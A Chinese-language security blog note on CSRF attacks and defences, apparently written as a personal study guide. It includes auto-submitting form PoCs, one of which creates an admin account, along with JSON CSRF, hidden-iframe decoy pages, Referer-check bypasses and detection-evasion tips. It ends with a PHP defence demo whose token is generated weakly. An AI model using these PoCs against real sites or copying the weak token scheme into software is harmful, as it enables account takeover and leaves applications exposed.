目录

简介

借刀杀人。

跨站请求伪造攻击的是浏览器会话,原因是同源策略允许跨域发起请求,当用户打开恶意页面发送伪造请求到 Server,刚好用户经过认证,浏览器会自动带上认证后的 Cookie 去执行此请求。

对于 Server 只要经过认证就执行你发过来的请求,前提是功能是当前这个角色有权限执行。

这个攻击能成前提是请求参数能猜出来(伪造),第二点是用户来触发这个伪造的请求,第三用户会话处于认证后的状态。

CSRF 漏洞站在业务上来看,对这个功能能造成多大危害,别忘了危害可以构造出来(扯反动和政治上的问题,在和开发撕逼的时候好用)。

Self-XSS 本身没有危害,自己乐呵呵呗,但结合 CSRF 可以在参数中写上 Payload,获取 COOKIE 达到持久化攻击的目的。

一些低危的洞挖到后一定要想办法扩大危害,像 CSRF 结合 XSS,也不一定非要 Fetch 发请求,也可以尝试通过 HTML 标签的 href/src 属性发 GET 请求。但单单只是 CSRF,因为需要用户交互危害不足够大,一旦配合其他漏洞就变的有意思起来。比如点我链接删你数据,这就危害大了。

发现 CSRF 至少满足以下两条:

  1. 猜到 API 参数对应作用。
  2. 没有再校验机制,比如验证码、Token、Referer 等等再次验证身份的机制。

用户在线登录后访问一个恶意网页,以用户身份进行各种请求。

下面是 Burp 生成的 POC,手动修改了 button 换成 JS 自动提交表单。

<html>
    <head></head>
    <body>
        <form action="https://domain.com/index.ss" method="POST">
            <input type="hidden" name="参数名" value="参数值">
            <input type="hidden" name="参数名" value="参数值">
            <input type="hidden" name="参数名" value="参数值">
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
<html>

使用 JavaScript 发送跨域请求,这也会自动带上对应域名 Cookie 信息吗?

利用

自动化提交表单

提交 POST 参数表单

<form action="schema://example.com/login.php?m=admin&c=Admin&a=admin_add&_ajax=1&lang=cn" method="POST">
    <input type="hidden" name="user_name" value="test6" />
    <input type="hidden" name="password" value="123456" />
    <input type="hidden" name="pen_name" value="test6" />
    <input type="hidden" name="true_name" value="" />
    <input type="hidden" name="mobile" value="" />
    <input type="hidden" name="email" value="" />
    <input type="hidden" name="role_id" value="-1" />
</form>

<!-- JS 提交表单 -->
<script> document.forms[0].submit(); </script>

使用 Chrome、Edge访问 CSRF POC 邪门的很,第一次访问不会携带 Cookie,第二次才携带。Firefox 则没这个问题。

直接搞个 input,设置 formenctype、formmethod 属性是不是可以省略 from 表单直接提交?https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/Input

提交 POST JSON 数据

有时应用 API 不一定接收 POST 参数,而是 JSON,我们可以通过 from 表单的方式发送。

<html>
  <body>
    <form action="http://127.0.0.1/selectUserl" method="POST" enctype="text/plain">
      <input type="hidden" name='{"email":"raingray@example.com", "justKidding":"' value='"}'>
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

将 from 表单数据 MIME 类型设置为 enctype="text/plain",可以看到 input 是在 name 设置 JSON 部分内容,再 value 属性里面闭合 JSON。

上述表单在 Chrome、Firefox 浏览器访问将发送下面 JSON 数据。

{"email":"raingray@example.com", "justKidding":"="}

那为什么不使用 XHR 和 Fetch 发送呢?还方便些,后端 CORS 配置正确的情况下还会受到跨域限制。

要是服务端限制请求 Content-Type 为 application/json,那么 enctype="text/plain" 肯定过不了应用检查。这时候可以建立个页面 evai-a,受害者访问时自动发送请求,但是 evail-a 这个请求是发到另一个 evail-b 页面上,由 evail-b 将请求中 Content-Type:text/plain 改成 Content-Type:application/json 进行发送,将返回值给 evail-a jike。

需要参考文章方法绕过:https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937

提交 GET 参数

你也可以使用如果目标使用类似 PHP $_REQUEST 获取参数,这将允许 GET 参数,直接将 POST 参数转成 GET 发给用户即可。

类似上面 POST 请求可以转换为。

https://example.com/login.php?m=admin&c=Admin&a=admin_add&_ajax=1&lang=cn&user_name=test6&password=123456&pen_name=test6&true_name=&mobile=&email=&role_id=-1

发数据过去时可以尝试 URL 参数编码,不要把参数值的中文啥的露出来。

你直接发这么长的 URL 容易引起警惕。

可以将 POC 放在自己的站点上,使用 script 标签 src 属性发起 HTTP GET 请求。

<script src="https://example.com/action.php?type=add_address&info=123456&name=123456&mobile=13145611234&id=&addr_info=%E5%AE%89%E5%BE%BD%E7%9C%81%2F%E8%8A%9C%E6%B9%96%E5%B8%82%2F%E9%95%9C%E6%B9%96%E5%8C%BA&Token=%3C%3Fphp+echo+%24token%3B+%3F%3E"></script>

除了 script 你还可以使用下面带有 src 属性可替换元素。

img
iframe
video
audio
embed
<input type="image" src="...">

可替换元素参考资料:

隐藏响应数据

使用 CSS 隐藏 iframe 标签。

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <style>
        html,
        body,
        iframe {
            width: 100%;
            height: 100%;
            margin: 0px;
            padding: 0px;
            overflow:hidden;
            border: none;
        }
    </style>
</head>
<body>
    <!-- 伪装页面,障眼法 -->
    <iframe src="//news.qq.com"></iframe>

    <!-- 真实伪造的请求 -->
    <iframe src="./csrf2.html" width="0" height="0"></iframe>
</body>
</html>

最好使用 meta 标签将 favicon、title 也给加上,以更好的模拟伪装页面

当加载 html 时,第一个 iframe 显示页面,第二个 iframe 使用 CSS 样式 width="0" height="0" 隐藏,它加载资源的请求还是会带上目标站点 Cookie。

POST /login.php?m=admin&c=Admin&a=admin_add&_ajax=1&lang=cn HTTP/2
Host: example.com
Cookie: admin_lang=cn; home_lang=cn; users_id=1; workspaceParam=users_index%7CMember; PHPSESSID=gsgcggb40vrl6pdq4obkpcf0f5
Content-Length: 83
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="99", "Microsoft Edge";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://example.com
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.39
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Referer: https://example.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

user_name=test6&password=123456&pen_name=test6&true_name=&mobile=&email=&role_id=-1

可以研究下 iframe 属性,让请求更加精简例如不带 referer,防止被检测。

应该加个 location 更逼真点当伪造请求完成后,跳转到指定应用页面,防止停在空白页面。

当然也可以用其他 img 等等带有 src 属性的标签。(待验证)

研究下 CSRF 跨域会不会携带 Cookie 问题。CSRF 攻击攻击最后一步就在于此。

Cookie SameSite Property Bypass

绕过

Referer 验证

目标站点有个重定向漏洞或者重定向功能,刚好有个读取型的 CSRF 就能绕过。

bypass referrer,对于校验其中是否包含正确域名,可以添加子域名 abso.com.cn.eval.com,或是建立二级目录 eval.com/abso.com/index.html

靶场练习

DVWA 练习

下面这张图是修改密码时的包,这个包用 GET 传输,并且用 password_new 和 password_conf 参数来进行密码修改。这个等级下验证方式是 Rreferer。我们可以在本地搭建一个静态页面,把 Rreferer 跟测试站点调整一致,就可以绕过了。

csrfPacket.JPG

常见功能点

头像 URL 可控,在评论区或者其他加载头像的地方自动加载 SRC 中的链接,从而触发 CSRF。就算 API 只有 POST 参数存在 CSRF,但有可能 API 也配置了 GET 访问方式,导致 GET 参数也能获取,所以通过切换请求方法和参数位置来利用 CSRF。

防御

伪造漏洞本质是加入不可猜测的内容保证随机化,有个词叫不可预测性(Unpredictable)。

验证 Referer

什么时候会带有 Referer?

打开浏览器访问 example.com,第一次请求不会携带 Referer,当 example.com 页面资源加载完成后发起任何 HTTP 请求使用任意方法,此时浏览器会自动添加上 Referer,值是 example.com。

只要进入任何一个页面后再发请求都带有 Referer,而它的值是发起请求页面的 URL(不包含锚点)。

两种情况不会带 Referer(待验证)

  • schema 不是 http 而是 file、data 这种。
  • 从 https 跳到 http 则不会带有 Referer
  • 重定向。例如打开页面后点击某个链接发起的 302/301 重定向

Referer 参考:

验证 Referer 来源,证明 Client 是从本站点访问的,换句话说是确认是用户自己发送的数据,而不是从一个其他域名上发起的请求。

错误修复思路:

  1. 检查 Referer 不是空的
  2. 检查是否包含指定域名字符串。

正确修复思路(疑似正确):

  1. 检查 Referer HOST 于当前 HOST 是否一致

验证 Orgin

参见极客时间《浏览器原理》CSRF 一文。

使用 CSRF Token

每次请求页面在当前 SESSION 中写入 Token 再输出给前端放入标签隐藏,每次请求时都带着此 Token,服务端验证 Token 是不是和 SESSION 中 Token 一致,不一致则说明请求不是用户自己发送的,因为此值是动态的没法提前预知。

如果会话没有与 Token 绑定,随便拿一个有效 Token 就能绕过检查。

有个搞笑的事情就是,居然把 Token 放在 Cookie 里,这相当于没启用一样,每次请求浏览器会自动把 Cookie 带上。

核心防御思路就是要证明这个请求你是你发送的。

下面演示添加收货地址功能,使用 CSRF Token + Referer 防御 CSRF。注意每次使用完 token 要销毁,防止重复使用。

<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>raingray 添加收货地址</title>
    <style>
        form {
            width: 100%;
            text-align: center
        }

        input {
            display: inline-block;
        }

        h1 {
            text-align: center;
        }
    </style>
</head>

<body>
    <?php
        // 开启 SESSION
        session_start();

        // 验证业务功能
        switch ($_GET['method']) {
            case 'login':
                login();
                break;
            case 'addAddress':
                addAddress();
                break;
            default:
                showHTML();
                break;
        }

        /**
         * 展示前端资源
         */
        function showHTML() {
            // 如果没登录就展示登录,不然就显示收货地址表单。
            if (empty($_SESSION['username'])) {
                echo <<<html
                    <h1>登录账户</h1>
                    <form action="index.php?method=login" method="POST"'>
                        <input type="text" name="username" value="raingray" placeholder="用户名">
                        <input type="password" name="password" value="raingrayPass" placeholder="密码">
                        <input type="submit" value="登陆">
                    </form>
                html;
            } else {
                // 创建 CSRF Token 存入 SESSION,并返回输出给前端。
                $csrf_token = md5(time() . '12jg' . $_SESSION['username']);
                $_SESSION['csrf_token'] = $csrf_token;
                echo <<<html
                    <h1>添加收货地址</h1>
                    <form action="index.php?method=addAddress" method="POST"'>
                        <input type="text" name="address" value="丰台区公安局">
                        <input type="hidden" name="csrf-token" value="$csrf_token" />
                        <input type="submit" value="添加">
                    </form>
                html;
            }
        }

        /**
         * 登录账户业务
         */
        function login() {  
            $username = empty($_POST['username']) ? null : $_POST['username'];
            $password = empty($_POST['password']) ? null : $_POST['password'];
                
            if ($username === 'raingray' && $password === 'raingrayPass') {
                $_SESSION['username'] = $username;
                header("Location: index.php");
            }
        }

        /**
         * 添加收货地址业务
         */
        function addAddress() {
            $address = empty($_POST['address']) ? null : $_POST['address'];
            $csrf_token = empty($_POST['csrf-token']) ? null : $_POST['csrf-token'];
            $refererURL = $_SERVER['HTTP_REFERER'];
            
            // 对请求 referer + token 验证
            if (
                empty($address) ||
                empty($csrf_token) ||
                $_SESSION['csrf_token'] !== $csrf_token ||
                $_SERVER["HTTP_HOST"] != parse_url($refererURL, PHP_URL_HOST)
            ) {
                echo "<script>alert('地址添加失败');location.href='index.php';</script>";
                // 登录失败将 token 设置为 null 意义,防止爆破 token?或者让 token 使用有效次数为 1。
                // $_SESSION['csrf_token'] = null;
            } else {
                echo "<script>alert('地址添加成功');location.href='index.php';</script>";
            }
        }
    ?>
</body>
</html>

index.php 包含登录和添加收货地址功能。

未登录显示登录框。

未登录状态.png

只有登录后才能显示收货地址。

已登录状态.png

收货地址采用 Referer + Token 验证当前请求是否是用户自主发起。

不使用 Cookie 存放凭证

CSRF 利用的是浏览器具体操作的是 Cookie,把凭证从 Cookie 移出放入自定义请求头或者放入 LocalStorage 存储,只有点击某个按钮前端才会主动取凭证向 API 发请求。

就算你直接填 API 地址,你没带上凭证,API 不会返回数据。

除非是前后台融合在一起的传统应用,访问页面前端自己主动取 LocalStorage 数据,这样也没法子防御。

验证码

采用再次验证机制确保请求是用户自己主动发出的,如手机验证码、滑动验证码,都是用来校验请求是人还是机器发送。

Cookie 的 SameSite 属性

设置 SameSite 能完全杜绝 CSRF?

Chrome 在 84 版本默认启用 SameSite 属性值设置为 Lax。SameSite 属性意义在于控制跨域请求 Cookie 是否携带,它有三个值,分别是 Lax、Strict 和 None。

Lax 是只有跨域 GET 请求可以携带 Cookie,Strict 只有跨域请求的 URL 和当前页面的一致 Cookie 才可以携带, None 就是不启用这个属性,Cookie 可以携带,设置为 None 有个限制,必须添加 Secure 属性用于确保传输用的是 HTTPS Cookie 才能发送。

看 twitter 有人研究出新的攻击手法,但是难度大大增加,只能说 CSRF 以后很难利用了。

最好一一测试 Chrome、Firefox、Edge 几个浏览器对此项目最新的支持

参考链接

最近更新:

发布时间:

摆哈儿龙门阵